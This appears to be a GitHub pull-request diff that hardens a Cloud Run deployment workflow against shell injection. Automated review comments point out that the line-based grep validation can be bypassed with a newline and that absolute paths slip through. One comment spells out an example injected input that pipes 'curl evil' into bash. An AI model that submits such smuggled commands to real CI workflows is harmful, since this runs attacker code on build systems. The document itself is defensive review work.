Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 32 additions & 3 deletions .github/workflows/deploy-cloud-run.yml
Original file line number Diff line number Diff line change
Expand Up @@ -46,9 +46,38 @@ jobs:
- name: Set up Cloud SDK
uses: google-github-actions/setup-gcloud@v2

- name: Validate inputs
env:
SERVICE_NAME: ${{ inputs.service_name }}
REGION: ${{ inputs.region }}
PROJECT_ID: ${{ inputs.project_id }}
CLOUDBUILD_CONFIG: ${{ inputs.cloudbuild_config }}
run: |
if ! printf '%s' "$SERVICE_NAME" | grep -Eq '^[a-z0-9-]+$'; then

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3: The allowlist validation in Validate inputs is bypassable with an input containing a newline. grep -Eq '^[a-z0-9-]+$' matches per line, so an adversarial value like good $(curl evil | bash) returns success (the first line good satisfies the regex) and skips the exit 1. The same holds for region, project_id, and the cloudbuild_config check (a leading valid line plus a ../metacharacter line slips through, and the grep -q '\.\.' second check is also line-based). The actual injection fix is intact because Submit Cloud Build only consumes the values through env + double quotes, so no command executes — but the validation step's allowlist guarantee is incomplete for multi-line inputs. Use a whole-string match that handles newlines, e.g. case globs or a length-anchored check, instead of grep.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/deploy-cloud-run.yml, line 56:

<comment>The allowlist validation in `Validate inputs` is bypassable with an input containing a newline. `grep -Eq '^[a-z0-9-]+$'` matches per line, so an adversarial value like `good
$(curl evil | bash)` returns success (the first line `good` satisfies the regex) and skips the `exit 1`. The same holds for `region`, `project_id`, and the `cloudbuild_config` check (a leading valid line plus a `..`/metacharacter line slips through, and the `grep -q '\.\.'` second check is also line-based). The actual injection fix is intact because `Submit Cloud Build` only consumes the values through env + double quotes, so no command executes — but the validation step's allowlist guarantee is incomplete for multi-line inputs. Use a whole-string match that handles newlines, e.g. `case` globs or a length-anchored check, instead of `grep`.</comment>

<file context>
@@ -46,9 +46,38 @@ jobs:
+          PROJECT_ID: ${{ inputs.project_id }}
+          CLOUDBUILD_CONFIG: ${{ inputs.cloudbuild_config }}
+        run: |
+          if ! printf '%s' "$SERVICE_NAME" | grep -Eq '^[a-z0-9-]+$'; then
+            echo "Invalid service_name: must match ^[a-z0-9-]+$" >&2
+            exit 1
</file context>

echo "Invalid service_name: must match ^[a-z0-9-]+$" >&2
exit 1
fi
if ! printf '%s' "$REGION" | grep -Eq '^[a-z0-9-]+$'; then
echo "Invalid region: must match ^[a-z0-9-]+$" >&2
exit 1
fi
if ! printf '%s' "$PROJECT_ID" | grep -Eq '^[a-z0-9-]+$'; then
echo "Invalid project_id: must match ^[a-z0-9-]+$" >&2
exit 1
fi
if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: An absolute cloudbuild_config passes this validation, so the workflow can submit a config outside the checked-out repository. Require the first character to be non-slash before forwarding the path.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/deploy-cloud-run.yml, line 68:

<comment>An absolute `cloudbuild_config` passes this validation, so the workflow can submit a config outside the checked-out repository. Require the first character to be non-slash before forwarding the path.</comment>

<file context>
@@ -46,9 +46,38 @@ jobs:
+            echo "Invalid project_id: must match ^[a-z0-9-]+$" >&2
+            exit 1
+          fi
+          if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then
+            echo "Invalid cloudbuild_config: must be a repo-relative path without shell metacharacters" >&2
+            exit 1
</file context>
Suggested change
if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._/-]+$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then
if ! printf '%s' "$CLOUDBUILD_CONFIG" | grep -Eq '^[A-Za-z0-9._-][A-Za-z0-9._/-]*$' || printf '%s' "$CLOUDBUILD_CONFIG" | grep -q '\.\.'; then

echo "Invalid cloudbuild_config: must be a repo-relative path without shell metacharacters" >&2
exit 1
fi

- name: Submit Cloud Build
env:
SERVICE_NAME: ${{ inputs.service_name }}
REGION: ${{ inputs.region }}
PROJECT_ID: ${{ inputs.project_id }}
CLOUDBUILD_CONFIG: ${{ inputs.cloudbuild_config }}
run: |
echo "Deploying ${{ inputs.service_name }} to ${{ inputs.region }} in project ${{ inputs.project_id }}"
echo "Deploying $SERVICE_NAME to $REGION in project $PROJECT_ID"
gcloud builds submit \
--config=${{ inputs.cloudbuild_config }} \
--project=${{ inputs.project_id }}
--config="$CLOUDBUILD_CONFIG" \
--project="$PROJECT_ID"